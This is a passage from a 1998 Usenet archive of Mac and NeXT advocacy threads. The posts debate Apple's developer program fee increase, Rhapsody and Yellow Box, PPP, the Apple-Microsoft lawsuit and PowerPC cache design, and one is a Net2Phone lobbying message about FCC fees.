Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 17:03:41 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981703410001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <352C07D8.35ED761F@diehlgraphsoft.com>
In article <352C07D8.35ED761F@diehlgraphsoft.com>, "C.S."
<caleb@diehlgraphsoft.com> wrote:
> Probably from the next guy who's creative and insightful enough to
> recognize a need in the marketplace or dream up some new tool that
> truly makes life easier/better/faster/cheaper/more fun for users.
> Probably NOT from the geek with a G3 and a truckload of prerelease
> software and no imagination.
Those people get the OS through illegal channels anyway. They don't pay
Apple for developer subscriptions.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 20:55:10 GMT
Organization: QMS
Message-ID: <6gjcin$938$1@news01.deltanet.com>
References: <6gj0or$oop$12@ironhorse.plsys.co.uk> <B1527A55-4B993@206.165.43.139>
In article <B1527A55-4B993@206.165.43.139>, "Lawson English" <english@primenet.com> wrote:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>Now, they ARE subsidizing developers on the software-tools side, by not
>charging the full development costs for developing the SDKs and technical
>materials, but if they were to do that, we would be back in the bad ole
>days of Spindler, where an ETO subscription was many hundreds/year and you
>had to pay $1500 up front to get the complete package of MPW
>C/Pascal/C++/MacApp/etc.
>
>
>Now they've raised the bar to ensure in
>> part that the system isn't abused. For the sorts of commercial
>> applications that I suspect you're referring to, on which the platform
>> depends, if the business seriously needs access to seed software
>> but cannot afford a $500 a year, it does not have a competent
>> business plan.
>
>You may be correct about raising the bar to see that the hardware discount
>system isn't abused. However, if they raise the bar sufficiently, then
>there is no longer a discount on the hardware in the first place, is there?
Two useful points should be brought up. First, what is the magunitude
of the hardware discount, vs. the lowest price available from a mail
order retailer, such as club Mac?
Well, we can try to make a guess. If they were charging more
than Club Mac, then developers would have been more vocal
about the prices. Comparing prices to the Apple Store, it looks
like the club Mac margin, at least on the two G3/266 systems I
priced, runs on the order of 5%. If the developer discounts are
on the order 5% in addition, then developers may have a case.
If the differences are on the order %10, they almost certainly do,
and if they are on the order %15, then they should be livid.
I have heard on the rumors page that the Apple margin to a place
like Club Mac seems to be on the order 20%, which Club Mac
chooses to take as a 5% price discount, and on the order 15%
revenue. This matches my experience when bargaining with
them and with Creative Computers.
Unfortunately, the Apple hardware price list is stamped confidential,
and while it would come out in the courts, developers should probably
try to keep it confidential. It does seem, though, that it should be
easy for any developer to verify the analysis, and figure out just
what the margin really is. Assuming that they give developers
a generous 15% drop below Club Mac, they are still making as much
as they would have made from a sale via a reseller. I would be
surprised if any company made a program that generous.
The second point: the new plan limits those getting systems to 10 per
year. This makes it unlikely that developers are going to be seeing
a positive expected value for the hardware purchase deal in the new
program. This makes some sense, but it seems to me [OPINION]
that it is till in Apple's interest for there to be developers signed
up, even if they are not making money, as long as they are not
losing.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 13:42:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6gl7kl$a2p@newsb.netnews.att.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <atlauren-0904982127500001@dialin33466.slip.uci.edu> <6gk8oo$fd5$3@ha2.rdc1.sdca.home.com>
Originator: gupta@tlctest
Rex Riley <rr6013@yahoo.com> wrote:
>
>If the server in question didn't support Mac + Unix then I have a problem with
>SanJose Mercury News. From the seat of Silicon Valley these people should be
>expected to "know better". Packaging the story in a Mac/Unix/Windows context
>when the circumstances were Windows only, discredits the platform unjustly.
>In that case, neither Mac nor Unix had a thing to do with the data loss story
>what-so-ever.
One of the supposed benefits of Windows NT is that you can do a
three-week course and get certified as a Windows NT administrator.
At least that is what M...n here claimed as one of the advantages
of NT over UNIX : the fact that M...n had such a certificate,
obtained in three weeks; which he wouldn't have been able to do
with UNIX, because it is supposedly so difficult. ( I refrained
from the obvious retort here).
This "ease of use" is supposed to be a major economic advantage of
using Windows NT as opposed to UNIXen.
Well, if the technicians who goofed up are from the three-week school
of system administration, then it certainly discredits the platform
very justly.
The point being that UNIX or NT, administration is just as demanding,
and NT has no advantage in that regard.
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 01:58:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1508B55-1252E@206.165.43.122>
References: <352a8a76.0@206.25.228.5>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Kheit <jkheit@xtdl.com> said:
> I wish I had my references handy. Anyway, my recollection of the
> case was that Apple was suing over widows2. Which stank majorly,
> but did introduce overlapping windows. The suit was based on
> windows2, which, I believe, was available around 86-86?
>
Don't you remember a technology introduced by HP (?) that made Windows look
exactly like the Mac interface. Originally, Apple tried to just sue HP, but
HP claimed that Apple had to sue MS because they were just licensing
Windows from MS.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: news@net2phone.com (Net2phone Information)
Newsgroups: comp.sys.next.advocacy
Subject: Warning about the FCC and Internet Taxes
Date: Wed, 8 Apr 1998 0:34:46 -0500
Organization: NET2PHONE
Message-ID: <773892010086@net2phone.com>
This is not spam in the strictest sense of the definition, it's about the
FCC and more taxes that are looming ahead. The method of delivery is
spam-like and for that we apologize.
We apologize for bothering you, but if we don't warn you right now, you
might not be able to communicate over the net as freely as you do now.
The Federal Communications Commission is planning to regulate the Internet
by imposing new universal service fees which are likely to be passed on to
you in the form of higher Internet-service charges.
If these taxes are imposed, you will have to pay more every time you use
the Internet.
IDT Corporation (NASDAQ IDTC) a leading telecommunications and Internet access
company, wants to make sure this does not happen. We are calling for a
citizens uprising against government bureaucracy and taxes.
IDT is going to let you voice your opinion on our nickel.
We are sponsoring free phone calls to lobby your representative,
senator or the FCC against this most serious infraction against
affordable communications. By going to http://www.net2phone.com you can
place as many free calls as you like to Congress and the FCC to
demand your right to low-cost communications.
We have always viewed the Internet as a fantastic medium to communicate
with anyone worldwide at little or no cost. Please do not let the FCC take
this right away from you.
Please make that free call right now before you lose your right to
unfettered Internet access.
Thank you,
IDT/Net2Phone Management
http://www.net2phone.com
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 7 Apr 1998 15:50:08 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gdhvg$2ls$2@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar. <Er196C.6IE@AWT.NL>
G.C.Th.Wierda@AWT.nl (Gerben Wierda) wrote:
> Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>> Well, RTF documents generated on a NeXT interoperate pretty well with PC
>> users. There is a difference between the NeXT standard encoding and the
>> ISO-Latin-1 for the high-bit characters, but it's usually not a big problem.
>
> Not in English, but in many other languages it is a nuisance. Luckily one can
> take CedarWord, load the RTF in NeXT-encoding and write it in ANSI encoding.
I admit to anglo-centricism. :-) But then, it seems people doing foreign languages
have always had somewhat more problems with character sets et al.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Beware New Macs?
Date: 8 Apr 1998 05:18:17 GMT
Organization: @Home Network
Message-ID: <6gf1ap$37v$1@ha2.rdc1.sdca.home.com>
References: <ashley.892004435@marsh>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ashley@cs.curtin.edu.au
In <ashley.892004435@marsh> Ashley Aitken wrote:
> Howdy All,
>
> Ok, the subject line is a bit alarmist but I wanted to get your
attention.
>
> I know there are always new and better models over the horizon, and one
> should buy when one finds a machine that does what they need ...
>
> However, it seems to me with the current change in the Developer
programs,
> in particular the cutoff date for discount hardware purchase, that Apple
> is trying to get rid of current stock (sounds like a good move - dump it
> on developers). And, this implies *radical* new offerings (can you say
> NC machines and Rhapsody servers with USB, DVD etc).
>
> Again, we sort of knew this stuff was coming along soon, but is seems sad
> to dump the current machines on developers who are supposed to be
creating
> the brave new world for Apple (lest they don't know it - Apple cannot do
> this alone).
>
>
[ snipped cross posts ]
If Apple is seeding a Class of hardware into it's development community,
they do so "to their own detriment". Why would they "dump" a superceded
architecture onto a "core" asset, Developers? Apple is shamelessly
greasing the wheels of commerce, here! You might be reading too much into
it...
Most Programmer's get along nicely with several generations removed
hardware. In fact, the most prolific coders I know mix & match pieces of
hardware together ala "tabletop" style to suit their needs, kind of
"anti-hardware" name brandism. The whole damn mess strewn out across the
floor or into a psuedo-pile. The exceptions are those device dependent or
time-critical coders needing to make all those goodies "whiz" in unision.
Jobs made it corporate policy at NeXT that "programmers" use old '030
machines. It was "hardware" imposed QA. If they could get code to run on
'030, it would be that more efficient than code developed on '040 machines
(state of the art circa 1991). Most of that code written on '030's is
Rhapsody. Not bad...
-r
Rex Riley
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Tue, 07 Apr 1998 11:14:57 -0700
Organization: Cisco Systems Inc.
Message-ID: <352A6D21.3FC9A99@cisco.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Kenneth R. Kinder wrote:
>
> In comp.os.linux.advocacy , article <6fvmkt$i4c$4@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
> > In <6fvapb$6th$3@quasar.dimensional.com> Kenneth R. Kinder claimed:
> >> I wouldn't put too much effort into PPP... it'll be obsolete in 3-5 years.
>
> > Hint: there's a whole world out there that's never seen cable TV, and
> > entire countries with less than a T1 bandwidth. PPP will be around for a
> > very long time.
>
> Hint: If I was a Mac or Next user, you'd agree with me
>
> I suppose you thought Slip would be around forever too?
SLIP was a hack. This is well known. PPP is robust
and extensible. You practically can't compare the two.
> Already, many new
> replacements for the PPP protocal are out, and being refined.
OK, I'm curious. Could you name them please? Refs to internet drafts
would be helpful.
> PPP will not
> be obsoleted by optical cable as you seem to think, but by newer protocals
> that are more robust, and hopefully, with cryptography.
Why not just get these via extensions to PPP? See
http://www.ietf.org/html.charters/pppext-charter.html for details.
Cheers,
Barry
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Enthusiastic about Apple (was Re: accuracy of Stepwise Krishna article)
Date: 7 Apr 1998 15:40:40 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gdhdo$2ls$1@anvil.BLaCKSMITH.com>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6eq7kp$pl2@mochi.lava.net> <slrn6h2ggl.gdm.marko@ns1.vrx.net> <6erm0k$p1f$2@ironhorse.plsys.co.uk> <6erpdg$96o$1@news.xmission.com> <6escen$to2$1@nnrp1.dejanews.com> <6etffv$g96$9@ns3.vrx.net> <6ev46i$qkn$1@nnrp1.dejanews.com> <6eulns$fh3$1@ns3.vrx.net> <quinlan-2003982045060001@pm22s6.intergate.bc.ca> <6f5q41$p1f$9@ironhorse.plsys.co.uk> <6f6ete$mhp$1@nnrp1.dejanews.com> <6f71cv$p1f$12@ironhorse.plsys.co.uk> <6fc2nm$46d$1@nnrp1.dejanews.com> <6fe4ml$3nm$3@anvil.BLaCKSMITH.com> <6fel82$c08$1@nnrp1.dejanews.com> <rmcassid-2603982220490001@dialin9018.slip.uci.edu> <6gb2hv$kc8$3@anvil.BLaCKSMITH.com> <6gbjit$ctp$1@nnrp1.dejanews.com> <6gcql4$fhe$8@ironhorse.plsys.co.uk> <6gcnsf$174$1@ns3.vrx.net>
Xcanpos: shelf.1/199804212201!0009382178
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6gcql4$fhe$8@ironhorse.plsys.co.uk> mmalcolm crawford claimed:
>> Meanwhile, as Chuck also said, I very much get the impression that Apple is
>> setting itself on a track that will bring YellowBox (the main technology
>> most of us here are interested in) to the masses. This is good news for
>> Rhapsody developers.
>
> At this point I think one can only pray!
It's been fascinating to watch Maury convert. :-)
More seriously, I hope and believe other long-term Mac developers will like
the Yellow Box API's as much. They aren't perfect, but there is so much right
in them that you genuinely want to see that technology succeed and be
available.
(Regardless of the...umm...political views one might have towards Apple
deja-nee' NeXT in other areas.)
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program -shareware
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr8221520@slave.doubleu.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggkg1$90k$1@news0-alterdial.uu.net>
In-reply-to: "M. Kilgore"'s message of Wed, 8 Apr 1998 14:52:21 -0500
Date: 10 Apr 98 16:30:47 GMT
In article <6ggkg1$90k$1@news0-alterdial.uu.net>,
"M. Kilgore" <mkilgore@nospam.prysm.net> writes:
There is a very good reason for Apple to discourage the small or
shareware developer - the sad fact is that if it's too easy to get
into the shareware market then less than knowlegeable programmers
can play hell with your system. All you need do is look at the Win
shareware to discover this. Pehaps Rhap isn't as bullet proof as
the pr would have us believe and Apple is just trying to protect
the system from becoming just another Windows.
The problem with this argument, if someone were to use it, is that it
effectively means that nothing happens in the boundary between apps
and system. Nobody is going to start a large company with the goal of
screwing around with extending the system in odd ways. Most shareware
of that sort gets started less because someone had a goal starting
out, and more because they noticed a facility and started building
something based on it.
If nobody ever notices the facility, nothing will ever get built on
it, good _or_ evil.
There is, however, a far better reason to encourage
shareware/freeware - many of the guys that get started in that do
it because they're enthusiastic about their machines. That
enthusiasm is is contageous and gets even more people interested in
a platform.
It's worse than that. Shareware and freeware are often the farm teams
for more commercial developers. There are the various semi-mythical
beasts who have successfully made the leap from shareware/freeware
status to full commercial status. But more often, shareware/freeware
developers are just cutting their teeth, and later you'll find them at
Apple, or some other larger, more well-funded site.
Given two new hires fresh out of college, one of which has a fair
covey of praised freeware, the other with good grades, which gets the
more important job?
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr9091304@slave.doubleu.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu>
<xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk>
In-reply-to: mmalcolm crawford's message of 8 Apr 1998 22:01:44 GMT
Date: 10 Apr 98 16:30:50 GMT
In article <6ggs48$oop$2@ironhorse.plsys.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> writes:
In <xhsof-0804981448100001@hobbit1.injep.fr> Xavier Humbert wrote:
> If developers have to pay 500 bucks to have Rhapsody, do you
> think the will develop for it ?
If anyone is wanting to develop for Rhapsody professionally and
doesn't have $500, they don't have a business plan. If you're
intending to write shareware, then $500 is a reasonable investment
if you believe you have something useful to contribute. If you're
writing Rhapsody apps for a hobby, why should I subsidise your
playtime?
Most shareware becomes shareware after it's been written, not before.
"Hey, this is a neat OS facility, I bet I could..." "What do you
know, I can!" "Hey, that's a really useful little utility you've
written, you should sell it." ...
In the bad old days when NeXT's developement tools alone cost seven
times that amount there was no shortage of freeware or shareware.
Back in 1990, I wouldn't have written Stuart if I'd had to pay $500
upfront to do so. A year later, I willingly dropped ten times as much
on a NeXTstation based on the results.
I don't think there was much shareware released by people developing
on $5k NS3.3/Intel developer licenses, and what did was spinoff
material from someone with a real job (as opposed to a newbie
exploring the possibilities). As I recall, most of the shareware from
unknowns came off black hardware.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr9091856@slave.doubleu.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net>
<mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net>
<01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk>
In-reply-to: mmalcolm crawford's message of 9 Apr 1998 01:40:49 GMT
Date: 10 Apr 98 16:30:51 GMT
In article <6gh8v1$oop$6@ironhorse.plsys.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> writes:
In <01bc4540$d4a15e60$3af0bfa8@davidsul> "macghod" wrote:
> > The lowest paid developer status is $500 instead of $250. If
> > you really need to get the beta OS versions, your cost went up
> > by $250. But everyone else seems to be better off.
>
> More Ragosta FUD. "Everyone else seems to be better off". Who
> is better off?
Apple's customers who no longer have to subsidise hobbyist
developers.
Where's the incremental cost of making developer tools freely
available to all comers? The developer hardware discounts going away
isn't a problem - the problem is that the hardware cost isn't in line
with market costs. So far as tech support, that's generally sucked
for anyone who doesn't have a rep assigned to them anyhow.
But the tools themselves should be free. It's well worth Apple's time
to spend a small amount to spread those tools even to people who have
no apparent ability to use them. Recognizable developers are going to
build recognizable apps. It's often those who aren't obvious
developers who will build the apps you didn't expect.
[I should note that I could care less about SDKs and whatnot. I want
Rhapsody, and that's all I care about. If they sell Rhapsody with
developer tools for, say, $100, then I'm not concerned. At $500,
I'm concerned, but willing to play along. At $1000, I'm thinking that
there's not much future in it and perhaps I should look at a more capable
_and_ cheaper OS.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 14:11:03 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1004981411030001@jchristie.halifaxcable.dal.ca>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <6ggaju$rts$4@news01.deltanet.com> <j-jahnke-0804982247240001@192.168.1.3>
Let's get down to brass tacks
A list of all those that plan to stop developing for the Mac because of
this Please? Just enter the name of the software that you have written
and a "not anymore" next to it.
1) ?
The worst thing Apple did here was change peoples current contracts
midstream. Anything other than that that is really serious? Does that
mean the end of development for the Mac platform? The only major platform
other than Linux that one can just start developing on for nothing (after
buying the machine and a net hook up).
As I understand it it was built into the contracts that Apple could
change the plan anytime they wanted. It isn't nice, but read what you
sign (although I do feel that a class action suit by those people could be
warranted).
So, let's start filling in the list and see how this hurts the Macintosh.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <352a8a76.0@206.25.228.5> <B1508B55-1252E@206.165.43.122>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352b5742.0@206.25.228.5>
Date: 8 Apr 98 10:53:54 GMT
"Lawson English" <english@primenet.com> wrote:
> John Kheit <jkheit@xtdl.com> said:
> > I wish I had my references handy. Anyway, my recollection of
> > the case was that Apple was suing over widows2. Which stank
> > majorly, but did introduce overlapping windows. The suit was
> > based on windows2, which, I believe, was available around 86-86?
> Don't you remember a technology introduced by HP (?) that made
> Windows look exactly like the Mac interface. Originally, Apple
> tried to just sue HP, but HP claimed that Apple had to sue MS
> because they were just licensing Windows from MS.
Yes, I do. I might remember this wrong, but I still believe it
was tied to win2. I'll look it up today.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <slrn6i6ofe.17n.mbkennel@lyapunov.ucsd.edu> <6g0pa6$3jq$1@ha2.rdc1.sdca.home.com> <andyba-ya02408000R0704981803160001@news>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352b5835.0@206.25.228.5>
Date: 8 Apr 98 10:57:57 GMT
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6g0pa6$3jq$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com
> (Rex Riley) wrote:
> > Neither does Techno-Elitism. Apple's superior hardware/software
> > integration is just BetaMax fodder. All the "NC's suck" attitude
> > in the world isn't going to help put Rhapsody on the top of
> > the NC "Top 10" List.
> And another formula for success is not bragging about hardware
> or software superiority, since that would just come off as
> "techno-elitism." Uh-huh.
Yes, I agree with him on this point. Bad arrogant attitude generally
is a turn off to most folks.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Eric M Scott <escott@together.net>
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Fri, 10 Apr 1998 13:15:43 -0400
Organization: None
Message-ID: <352E53BF.19A1@together.net>
References: <6fbvpe$l63@newsb.netnews.att.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net> <352CD708.3359@together.net> <6gj8vs$8vv@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> [snip]
>
> Thanks for the URL ! It leads to another one :
>
> http://techweb.cmp.com/eet/news/98/992news/ibm.html
>
> from which the following I found intriguing :
>
> "A key advance in the cache design - for which IBM has filed
> 23 patent applications -- was to reduce to a single clock
> the load-and-store operation, which normally takes two clock
> cycles. At 1 GHz, a load-and-store operation takes only 1 nanosecond,
> with a cache latency of 500 picoseconds. The design of the cache
> puts more of the control logic in the cache itself, including
> the cache adder and decode functions."
>
> Question : can these design improvements be incorporated into
> PowerPCs shipping in the near future, rather than wait for the
> GHz processor ? How much speed-up does the one-clock load-and-store
> promise ?
Well, I don't know the specifics, but I would bet that it would
take considerable effort to backfill these enhancements into the
current designs. So if you saw them at all they'd probably
not show up in production for a couple of years. You'd have
to start out with your design with this in mind. And since
processors which will appear in '98, '99 and most likely into
early '00 must already be at some point in the design, it's
that much tougher to change fundamental things.
Also, it appears that this design was done entirely by IBM, so
I don't think it's covered by the IBM-Moto agreement. If it is
a big deal then they probably don't want to give it to Moto.
So it would probably appear first in IBM's high end server
PowerPC's, but it may eventually work it's way down to the
consumer PowerPC's(in Macs, if they're still around)..
Or I'm wrong and it will show up next year in the 751 or 760,
or whatever they're going to call the next one. *shrug*
Eric
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Software ugliness II
Date: 7 Apr 1998 21:00:10 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ge44q$5i5@newsb.netnews.att.com>
References: <6gdthk$eos@newsb.netnews.att.com>
Originator: gupta@tlctest
On my desk I have a HP LaserJet 6MP, a Postscript printer.
The Windows 95 driver, an HP-Adobe production, generates
Postscript that is sometimes buggy for MS Word files, but
generally speaking, it is a blessing, because I can put up
documents readable and printable by everyone on the intranet;
simply print to a file.
But ...
"Print to file" is not an option on MS Project 98 "Print..."
dialog !!! Nor is it anywhere else, I've explored the "Page Setup..."
and "Print ..." dialogs thoroughly. The whole thing is pretty ugly,
by the way, with umpteen different ways to get to the same printer-
setup item. So, I'm in the wierd situation of being able to send
Postscript to the printer, but not to a file !
MS Project 98 has a "Save as HTML" option that is pretty useless,
and I suppose, is there as a "new feature", "Web-enabled" etc.
People get what they pay for. I'm willing to pay more, but
the lowest-common-denominator is driving my choices out of the
market (not to mention the drive to "standardization").
The people who made IT costs so high are benefitting as everyone
standardizes on their crap.
-arun gupta
From: russotto@wanda.pond.com (Matthew T. Russotto)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 7 Apr 1998 21:41:04 GMT
Organization: Ghotinet
Message-ID: <6ge6hh$9mv@netaxs.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
In article <01bc445f$744397e0$1bf0bfa8@davidsul>,
macghod <macghod@concentric.net> wrote:
}WTF is up with the apple developer program? I see a big announcement, and
}all it is is:
}1st level: online stuff, just as it is now, ie NO CHANGE
}2nd level: instead of costing $250 a year its now $500 a year??!?!??
}
}As far as I can tell it adds nothing and is a 2x increase!! Why to support
}development apple :)
Yeah, sucks, doesn't it? All I really want is the CDs, and they keep
upping the price and adding things I don't need.
--
Matthew T. Russotto russotto@pond.com
"Extremism in defense of liberty is no vice, and moderation in pursuit
of justice is no virtue."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
